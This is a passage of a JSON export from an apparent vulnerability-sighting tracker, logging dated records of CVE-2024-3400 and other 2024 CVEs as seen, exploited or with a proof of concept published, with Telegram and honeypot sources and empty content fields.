"type": "published-proof-of-concept", "source": "https://t.me/brutsecurity/584", "content": "", "creation_timestamp": "2026-07-12T00:00:41.598456Z"}, {"uuid": "b29c0866-bd1b-4165-b9b7-0b8309ea89a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://t.me/ZerodayAlert/217", "content": "", "creation_timestamp": "2026-07-12T00:00:17.084611Z"}, {"uuid": "36ab9280-670a-4a73-aa6e-d778033baa65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "https://t.me/ZerodayAlert/214", "content": "", "creation_timestamp": "2026-07-12T00:00:17.007559Z"}, {"uuid": "5fc2aba2-cdaa-45ce-849d-c1a913282db5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "https://t.me/brutsecurity/573", "content": "", "creation_timestamp": "2026-07-12T01:00:10.330074Z"}, {"uuid": "649afc57-8c23-4670-b3e3-230abe09ff04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-34693", "type": "published-proof-of-concept", "source": "https://t.me/securixy_kz/920", "content": "", "creation_timestamp": "2026-07-14T00:00:58.534468Z"}, {"uuid": "6c66d724-2abd-4156-b5b0-ee4ac90e2991", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-34351", "type": "published-proof-of-concept", "source": "https://t.me/securixy_kz/882", "content": "", "creation_timestamp": "2026-07-14T00:00:57.464546Z"}, {"uuid": "698e6923-48f4-4f0e-bcf7-0682a470050c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://t.me/securixy_kz/871", "content": "", "creation_timestamp": "2026-07-14T00:00:57.300631Z"}, {"uuid": "3eb56813-1151-4526-b7f2-122f5aa44249", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://t.me/cyberpoleshuk/202", "content": "", "creation_timestamp": "2026-07-18T00:00:40.651051Z"}, {"uuid": "e9bbb53e-d5ad-48e5-adf7-6dd18d361a11", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-18)", "content": "", "creation_timestamp": "2026-07-19T10:00:06.947297Z"}, {"uuid": "1f96de57-3895-4dec-a3e5-dc49ecb64f9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://t.me/bimbosec/161", "content": "", "creation_timestamp": "2026-07-21T14:00:05.323149Z"}, {"uuid": "9248724c-281d-4847-a1cd-e322db2edc2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://t.me/bimbosec/161", "content": "", "creation_timestamp": "2026-07-22T00:00:23.091898Z"}, {"uuid": "a4ed9d31-967d-431f-b5c0-20d460b813bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://t.me/GithubRedTeam/94931", "content": "", "creation_timestamp": "2026-07-24T09:00:04.176054Z"}, {"uuid": "5748fa3e-1d2e-43de-8d19-9527253ac40f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "Telegram/CAgNXP7QCJ0ImmaZujxERj5g-FS7jqScPpLDOt1x7u-ghTY", "content": "", "creation_timestamp": "2026-07-24T12:00:04.623809Z"}, {"uuid": "bcaf3fa1-8e58-46c0-b25f-840eace666e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/94931", "content": "", "creation_timestamp": "2026-07-25T00:00:11.159863Z"}, {"uuid": "8dcdc432-78f5-4840-96f0-5b14090014c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "Telegram/CAgNXP7QCJ0ImmaZujxERj5g-FS7jqScPpLDOt1x7u-ghTY", "content": "", "creation_timestamp": "2026-07-25T00:00:10.469851Z"}, {"uuid": "75c29a46-d8d3-42dd-b689-b073344df1ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://gist.github.com/marcuswhitney/388d616a47ad991666491b5f5b488b02", "content": "", "creation_timestamp": "2026-07-25T18:32:20.059923Z"}, {"uuid": "2f416d59-8c41-44a2-ae85-79f77b879787", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-34156", "type": "seen", "source": "https://t.me/EchelonEyes/3130", "content": "", "creation_timestamp": "2026-07-26T02:02:05.932748Z"}, {"uuid": "b5d11f37-9345-4d45-a74f-4d70e2394bbc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-34155", "type": "seen", "source": "https://t.me/EchelonEyes/3130", "content": "", "creation_timestamp": "2026-07-26T02:02:05.884660Z"}, {"uuid": "b83fa74e-f632-40c5-8871-9a13974e997f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-34158", "type": "seen", "source": "https://t.me/EchelonEyes/3130", "content": "", "creation_timestamp": "2026-07-26T02:02:05.691105Z"}, {"uuid": "70554794-e142-4ff1-a599-f55cc2337e3e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://t.me/EchelonEyes/3465", "content": "", "creation_timestamp": "2026-07-26T02:02:00.570987Z"}, {"uuid": "5135f85b-cea0-4609-9e57-7c70cfb52849", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://t.me/cyberwarehouse/396", "content": "", "creation_timestamp": "2026-07-26T02:00:23.304473Z"}, {"uuid": "f8b837a5-1d2a-4f7f-8c0f-cc34b27fea84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://t.me/zhatez/1070", "content": "", "creation_timestamp": "2026-07-26T07:01:48.285901Z"}, {"uuid": "29ca136e-050a-4966-bae7-17824bdb7394", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://t.me/zhatez/1487", "content": "", "creation_timestamp": "2026-07-26T07:01:47.784896Z"}, {"uuid": "71854d9f-d46c-4790-bde6-dbc35bd28ec0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-34257", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-25)", "content": "", "creation_timestamp": "2026-07-26T10:00:08.132629Z"}, {"uuid": "b35bfd61-24b3-48d4-b5c4-dd66f5179158", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://t.me/zhatez/1070", "content": "", "creation_timestamp": "2026-07-27T00:01:32.805652Z"}, {"uuid": "f36de23c-606c-4721-9085-f29a54a0ae88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://t.me/zhatez/1487", "content": "", "creation_timestamp": "2026-07-27T00:01:31.846715Z"}, {"uuid": "2ee7b659-d103-4703-954c-4f4a95a2ee1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-34156", "type": "seen", "source": "https://t.me/EchelonEyes/3130", "content": "", "creation_timestamp": "2026-07-27T00:00:43.885845Z"}, {"uuid": "44d293d3-29e2-46e5-b280-dbdcd510a921", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-34155", "type": "seen", "source": "https://t.me/EchelonEyes/3130", "content": "", "creation_timestamp": "2026-07-27T00:00:43.844866Z"}, {"uuid": "b8f7125c-1325-43db-a7da-ac9aea8e6ce0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-34158", "type": "seen", "source": "https://t.me/EchelonEyes/3130", "content": "", "creation_timestamp": "2026-07-27T00:00:43.664038Z"}, {"uuid": "5338ccc3-825b-4f86-b8c9-55bd18e303df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://t.me/EchelonEyes/3465", "content": "", "creation_timestamp": "2026-07-27T00:00:40.085512Z"}, {"uuid": "7c4c2548-f767-4c9e-aac7-084e22df68fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "https://t.me/cyberwarehouse/396", "content": "", "creation_timestamp": "2026-07-27T00:00:20.069686Z"}, {"uuid": "669f138e-7748-4ae8-a94a-08d0c6517ed8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://t.me/EchelonEyes/3465", "content": "", "creation_timestamp": "2026-07-28T00:00:49.426824Z"}, {"uuid": "53e79518-4552-4bb8-bd00-f208c90474c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-34158", "type": "seen", "source": "https://t.me/EchelonEyes/3130", "content": "", "creation_timestamp": "2026-07-28T00:00:45.717163Z"}, {"uuid": "8ea8f556-844c-4ad7-8ab3-f188901635b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-34156", "type": "seen", "source": "https://t.me/EchelonEyes/3130", "content": "", "creation_timestamp": "2026-07-28T00:00:45.672165Z"}, {"uuid": "43f1972d-2598-4f16-9896-c24438372048", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-34155", "type": "seen", "source": "https://t.me/EchelonEyes/3130", "content": "", "creation_timestamp": "2026-07-28T00:00:45.632674Z"}, {"uuid": "b982d35d-2766-48be-a2a6-8e5f1dcc4067", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-27)", "content": "", "creation_timestamp": "2026-07-28T10:15:23.902353Z"}, {"uuid": "7d81e0c6-1453-43a3-8d94-8781724ff44d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://t.me/zhatez/1487", "content": "", "creation_timestamp": "2026-07-28T23:00:03.886219Z"}, {"uuid": "407ca0af-6601-43c1-a679-35e4e378dabe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://t.me/zhatez/1487", "content": "", "creation_timestamp": "2026-07-29T00:00:09.958738Z"}, {"uuid": "dbff20e5-21cb-42a8-91f8-80c5d7ae7738", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://t.me/zhatez/1070", "content": "", "creation_timestamp": "2026-07-29T00:00:09.564056Z"}, {"uuid": "262b5063-7c39-4aa8-a124-885a53b94ffc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://t.me/sysadm_in_up/2126", "content": "", "creation_timestamp": "2026-07-29T12:03:17.523337Z"}, {"uuid": "bc7ceab9-b645-46b0-bc4f-d4ebfd3e72e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://t.me/reverseame/4407", "content": "", "creation_timestamp": "2026-07-29T12:02:16.579848Z"}, {"uuid": "30c05b37-e9c6-4848-a234-13b706693ddc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://t.me/reverseame/4404", "content": "", "creation_timestamp": "2026-07-29T12:02:16.531197Z"}, {"uuid": "bbba0c72-249b-4401-b4f8-0f4122a9f07d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-34102", "type": "seen", "source": "https://t.me/reverseame/4527", "content": "", "creation_timestamp": "2026-07-29T12:02:14.322219Z"}, {"uuid": "2ff3c002-0ec5-42d9-8c8d-15c4e7a5a326", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://t.me/safebdv/811", "content": "", "creation_timestamp": "2026-07-29T12:01:58.640635Z"}, {"uuid": "cbddfe2f-317f-4c92-98fe-a90f00bcfcea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://t.me/reverseame/4407", "content": "", "creation_timestamp": "2026-07-30T00:02:21.690979Z"}, {"uuid": "92b3d7e3-2a62-4c5f-9a41-c2b01485acc2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://t.me/reverseame/4404", "content": "", "creation_timestamp": "2026-07-30T00:02:21.649849Z"}, {"uuid": "2fb76c60-c0c4-4631-80b8-47da9a80d3db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-34102", "type": "seen", "source": "https://t.me/reverseame/4527", "content": "", "creation_timestamp": "2026-07-30T00:02:20.457495Z"}, {"uuid": "8848115c-4155-4b11-b7bc-95161960733b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://t.me/safebdv/811", "content": "", "creation_timestamp": "2026-07-30T00:02:10.088785Z"}, {"uuid": "81a6c3bd-43a8-46fc-9bfe-cec3d77d33db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://t.me/sysadm_in_up/2126", "content": "", "creation_timestamp": "2026-07-30T00:03:03.322755Z"}, {"uuid": "11a15a02-e44a-4740-97b1-8ec9645e594d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://t.me/safebdv/811", "content": "", "creation_timestamp": "2026-08-01T21:00:05.366020Z"}, {"uuid": "1750b18b-10ab-4b75-980e-fd8e3f7225ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://t.me/safebdv/811", "content": "", "creation_timestamp": "2026-08-02T00:00:14.175663Z"}, {"uuid": "0d935cf3-0584-4f95-bc7a-0bea90a32724", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/4527", "content": "", "creation_timestamp": "2026-08-02T07:04:24.212405Z"}, {"uuid": "028dbf0b-7fb4-4630-af39-7d679824b97a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/4404", "content": "", "creation_timestamp": "2026-08-02T08:08:44.897428Z"}, {"uuid": "264ebcd2-3a85-44e4-bb13-670736aebf6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/4407", "content": "", "creation_timestamp": "2026-08-02T08:06:34.789613Z"}, {"uuid": "abc6ef95-2267-4f7f-b1aa-3f653a507892", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/4527", "content": "", "creation_timestamp": "2026-08-03T02:11:40.393366Z"}, {"uuid": "3c4aa69f-e717-46ea-ad16-90cacdd39639", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/4404", "content": "", "creation_timestamp": "2026-08-03T02:07:18.396707Z"}, {"uuid": "4f5d9104-6c7e-42d3-ac7e-25c533d8c9bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/4407", "content": "", "creation_timestamp": "2026-08-03T02:07:18.351237Z"}, {"uuid": "0f96109e-5a4e-40d6-a999-09c43ccb0d1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "https://t.me/sysadm_in_up/2126", "content": "", "creation_timestamp": "2026-08-04T01:00:03.892530Z"}, {"uuid": "9ad52aef-afb6-43e3-9ad7-78b5fd6cb8d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-34467", "type": "seen", "source": "https://t.me/cyberok_news/136", "content": "", "creation_timestamp": "2026-08-04T13:00:22.228319Z"}, {"uuid": "f9c78fd4-e6e5-4dc6-a661-8ea62a7902a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://t.me/pentestnotes/12", "content": "", "creation_timestamp": "2026-08-04T13:00:18.102913Z"}, {"uuid": "1072714e-04a2-421f-bb81-92f0ae48af15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-34470", "type": "seen", "source": "https://t.me/pentestnotes/43", "content": "", "creation_timestamp": "2026-08-04T13:00:17.673935Z"}, {"uuid": "818262a4-aff2-405f-a96a-fdb716822da6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-34331", "type": "seen", "source": "https://t.me/purp_sec/300", "content": "", "creation_timestamp": "2026-08-04T13:00:10.267998Z"}, {"uuid": "593340e0-8eaa-4478-a188-616ac6ac65d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-34331", "type": "seen", "source": "https://t.me/purpleshift/81", "content": "", "creation_timestamp": "2026-08-04T13:00:05.166822Z"}, {"uuid": "d22a394d-71de-4765-8df5-535856cd62a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "https://t.me/sysadm_in_up/2126", "content": "", "creation_timestamp": "2026-08-05T00:01:00.175083Z"}, {"uuid": "69b766f1-57f4-43ce-af32-bbccee38b9de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-34467", "type": "seen", "source": "https://t.me/cyberok_news/136", "content": "", "creation_timestamp": "2026-08-05T00:00:37.361643Z"}, {"uuid": "b21801ca-fdc4-4338-b9a7-8e40ced5e850", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://t.me/pentestnotes/12", "content": "", "creation_timestamp": "2026-08-05T00:00:33.164402Z"}, {"uuid": "d2526d10-7fd4-40ff-b739-0343e21b092b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-34470", "type": "seen", "source": "https://t.me/pentestnotes/43", "content": "", "creation_timestamp": "2026-08-05T00:00:32.619613Z"}, {"uuid": "2b8b9415-512f-4b4b-9f6d-60552c9ee6f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-34331", "type": "seen", "source": "https://t.me/purpleshift/81", "content": "", "creation_timestamp": "2026-08-05T00:00:28.151656Z"}, {"uuid": "9d1de975-0daa-4403-9cb0-ac6c85c748bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-34331", "type": "seen", "source": "https://t.me/purp_sec/300", "content": "", "creation_timestamp": "2026-08-05T00:00:23.541911Z"}, {"uuid": "908edb22-8308-48b0-956e-9f32d259ec25", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-34470", "type": "published-proof-of-concept", "source": "https://t.me/pentestnotes/43", "content": "", "creation_timestamp": "2026-08-06T00:01:01.469200Z"}, {"uuid": "09bee0a8-95d6-40f1-8526-d023ddf1f5ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "https://t.me/pentestnotes/12", "content": "", "creation_timestamp": "2026-08-06T00:01:00.516014Z"}, {"uuid": "464f9e47-f16c-4168-a65f-079e0453df2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-34467", "type": "exploited", "source": "https://t.me/cyberok_news/136", "content": "", "creation_timestamp": "2026-08-06T00:00:48.136728Z"}]}